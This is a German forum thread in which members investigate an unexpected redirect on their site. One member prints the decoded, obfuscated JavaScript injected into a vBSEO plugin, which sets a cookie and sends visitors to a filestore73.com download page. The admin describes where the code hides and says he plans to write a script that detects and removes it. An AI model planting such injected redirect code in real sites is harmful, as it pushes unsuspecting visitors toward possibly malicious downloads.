Fehler in der DP? (FileStore73.com)

[Namenloser]

Also ich kann den Fehler nicht nachvollziehen.

[Valle]

*räusper* Oh oh ... o.O

Wenn man die DP über Google das erste Mal (keine Cookies) öffnet, dann erhält man folgende Antwort von DP-Server: klick me. Ich habe mir das noch nicht genauer angeschaut, aber so auf den ersten Blick sieht das nicht gut aus, oder?

Edit #1: Dieser Code ist nach erster Erkenntnis mit Sicherheit für die Weiterleitung verantwortlich.

Liebe Grüße,
Valle

[leddl]

Das lässt sich selbst mit dem IE6 nachvollziehen

[Bernhard Geyer]

Zitat von Valle:

*räusper* Oh oh ... o.O

Wenn man die DP über Google das erste Mal (keine Cookies) öffnet, dann erhält man folgende Antwort von DP-Server: klick me. Ich habe mir das noch nicht genauer angeschaut, aber so auf den ersten Blick sieht das nicht gut aus, oder?

Schaut danach aus als hätte sich die DP etwas eingefangen. Ich denke da sollte man den Doktor mit Antibiotika ranlassen ...

[mkinzler]

Also bei mir kommt die gewünschte Seite
Es liegt wohl eher an Google

[Valle]

@mkinzler: Es liegt nicht an Google. Sicher nicht. Hast du NoScript?

Also wenn man das Javascript mal dekodiert - was ich mal getan habe - dann erhält man folgendes:

HTML-Code:

   var _0x7a86 = ["getTime", "setTime", "; expires=", "toGMTString", "cookie", "=", "; path=/", "vbsp", "1", "location", "http://filestore73.com/download.php?id="];
   function ipbcc(_0xf1d9x2, _0xf1d9x3)
   {
      var _0xf1d9x4 = new Date;
      _0xf1d9x4[_0x7a86[1]](_0xf1d9x4[_0x7a86[0]]() + 86400000);
      var _0xf1d9x5 = _0x7a86[2] + _0xf1d9x4[_0x7a86[3]]();
      document[_0x7a86[4]] = _0xf1d9x2 + _0x7a86[5] + _0xf1d9x3 + _0xf1d9x5 + _0x7a86[6];
   }
   ipbcc(_0x7a86[7], _0x7a86[8]);
   document[_0x7a86[9]] = _0x7a86[10] + vbsp;

Edit: Okay, noch kurzes Kommentar dazu: Der Code ist eigentlich ganz einfach. Wenn man die Variablen einfach mal umbennen würde, dann wäre er sicher auch lesbarer. Er ändert einfach die URL auf diese mysteriöse Filesharing Seite. Der Code (der den Download angeben sollte?) wird dabei scheinbar vom Server dynamisch neu generiert. Jemand sollte bei Daniel Panik schieben.

Liebe Grüße,
Valle

[Sherlock]

Nicht gut...gar nicht gut. Aber Doktor D. macht das schon.

Für diejenigen, die sich nicht vorstellen können, was so garstig daran ist, hier mal ein nicht ganz so trockener Artikel zum Thema:
http://www.heise.de/security/artikel...t-1017983.html

Sherlock

[Daniel]

Jein. Panik wäre zuviel des Guten.

Das Problem ist bekannt und vBSEO (der Hersteller der SEO-Erweiterung für vBulletin) und InternetBrands (Hersteller von vBulletin) schieben sich gegenseitig den schwarzen Peter hin und her.


Der Code "versteckt" sich in einem Plugin von vBSEO und wenn man dort einen bestimmten Cache neu aufbaut, ist der Code auch erst mal weg. Toll ist das keinesfalls, dennoch ich das Eindringen offenbar auf genau diese eine Stelle beschränkt: Es gab bis heute keine anderen Vorkommen dieses Codes. Ich werde schauen, dass ich eine Script-Lösung entwickle, die den Schadcode erkennt und dann bei Bedarf löscht.

[blackfin]

Jetzt mal eine doofe Frage, weil ich mich mit dem Zeug nicht so auskenne:
Konnte das gefährlich für den eigenen Rechner gewesen sein, wenn man einmal auf diese ominöse Seite gelinkt wurde?